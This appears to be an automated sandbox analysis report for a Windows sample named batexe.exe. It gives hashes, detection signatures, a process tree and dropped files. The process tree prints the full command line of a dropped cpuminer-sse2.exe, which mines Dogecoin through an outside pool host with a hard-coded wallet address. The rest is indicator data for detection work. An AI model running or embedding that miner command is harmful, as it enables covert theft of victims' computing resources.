73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18-02-2024 06:51

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3672	b2e.exe
4380	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4380	cpuminer-sse2.exe
4380	cpuminer-sse2.exe
4380	cpuminer-sse2.exe
4380	cpuminer-sse2.exe
4380	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2876-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 3672	2876	batexe.exe	74
PID 2876 wrote to memory of 3672	2876	batexe.exe	74
PID 2876 wrote to memory of 3672	2876	batexe.exe	74
PID 3672 wrote to memory of 3784	3672	b2e.exe	75
PID 3672 wrote to memory of 3784	3672	b2e.exe	75
PID 3672 wrote to memory of 3784	3672	b2e.exe	75
PID 3784 wrote to memory of 4380	3784	cmd.exe	78
PID 3784 wrote to memory of 4380	3784	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2876
- C:\Users\Admin\AppData\Local\Temp\99A0.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\99A0.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\99A0.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3672
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9B75.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3784
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\99A0.tmp\b2e.exe

Filesize
12.5MB

MD5
3d362fdc80611a5f07b44b04afcbb048

SHA1
e14721fdbc1046a2af803e59271d05c60d6ff722

SHA256
2d445e0b853f558bd541500fde7822c5971a83a4d23d4fcb2f393ea308f9cbe7

SHA512
c5d7f2b8e57819013c722ad7c032637b48692892783330f28068ed50db65d43391fab66b83b4e6761a9d891db13797934c88d7deab532297a3197bc6420cdbf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\99A0.tmp\b2e.exe

Filesize
13.5MB

MD5
7fa183d1472eb74848d85b2b94bd8064

SHA1
7f23903285e992d4a763dba47cf692f9aae465b3

SHA256
0bca3f9eefe63cb15838e89d4eb2526412323ed9f9ce4947380fd66458582ad1

SHA512
4f105e4a5ef7dd2c0791919fc9ab4096ae97d748d95e41289fe4ff73de7ed59166c394dd81dbecf2e281c04ebe71e7095887e8f31845025b7a9608bdde8a0863

Download Submit
C:\Users\Admin\AppData\Local\Temp\9B75.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
19.3MB

MD5
a49048ba5d43aa8926fec14d96599fc7

SHA1
c137b789cca7b264a9feee1d88eea524564b9faa

SHA256
c0ae63e71e4ce9fd5c0151426ebd985cec652bf933b23de46736c6b2c3532b59

SHA512
c3f6f6ad4eaea46a8b3c7b96e02bfa4e8b98220cf88834fe1b117c15ddfd48739481a57be27cf57d3509367ee603a7782ca721e2e34e9633a086b326828da77c

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
16.1MB

MD5
985feeab44772ad775fc8630110d1661

SHA1
aafbef9a8ad5676f50ba78a66569077ed6317c67

SHA256
fbb107af4e411e9815da0df62060d2907981980dd74e82006f5e2a857793eb89

SHA512
cbf3ce41c5ccf62cf79538a7cc71ab2111df50ef5ff7f200e5718f5fb8a815cbff4d9cf185f206d77fdfb32731f175392c2bbb930db25f411f02077c2cd9b62b

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
13.6MB

MD5
faf8f8c6f6d6b2183ee86d7dc67ab858

SHA1
504c4a42b039d11542ff1c0e33abb3ab50dbafa2

SHA256
fde554d2e6c5141a82e7556ec13a39742343e09abf0c6ab379953d6ccdad9066

SHA512
47e592b82968a075250fb4b7ce2a6a354fcc4fb41fb36fd4fc0189c4769922897293365b20c9ad0d4e9749b5402f2b00e7998660a3e956ea08440a316e8e5780

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2876-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3672-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3672-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4380-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4380-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-43-0x000000006B2E0000-0x000000006B378000-memory.dmp

Filesize
608KB

Download
memory/4380-44-0x00000000010A0000-0x0000000002955000-memory.dmp

Filesize
24.7MB

Download
memory/4380-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4380-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4380-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download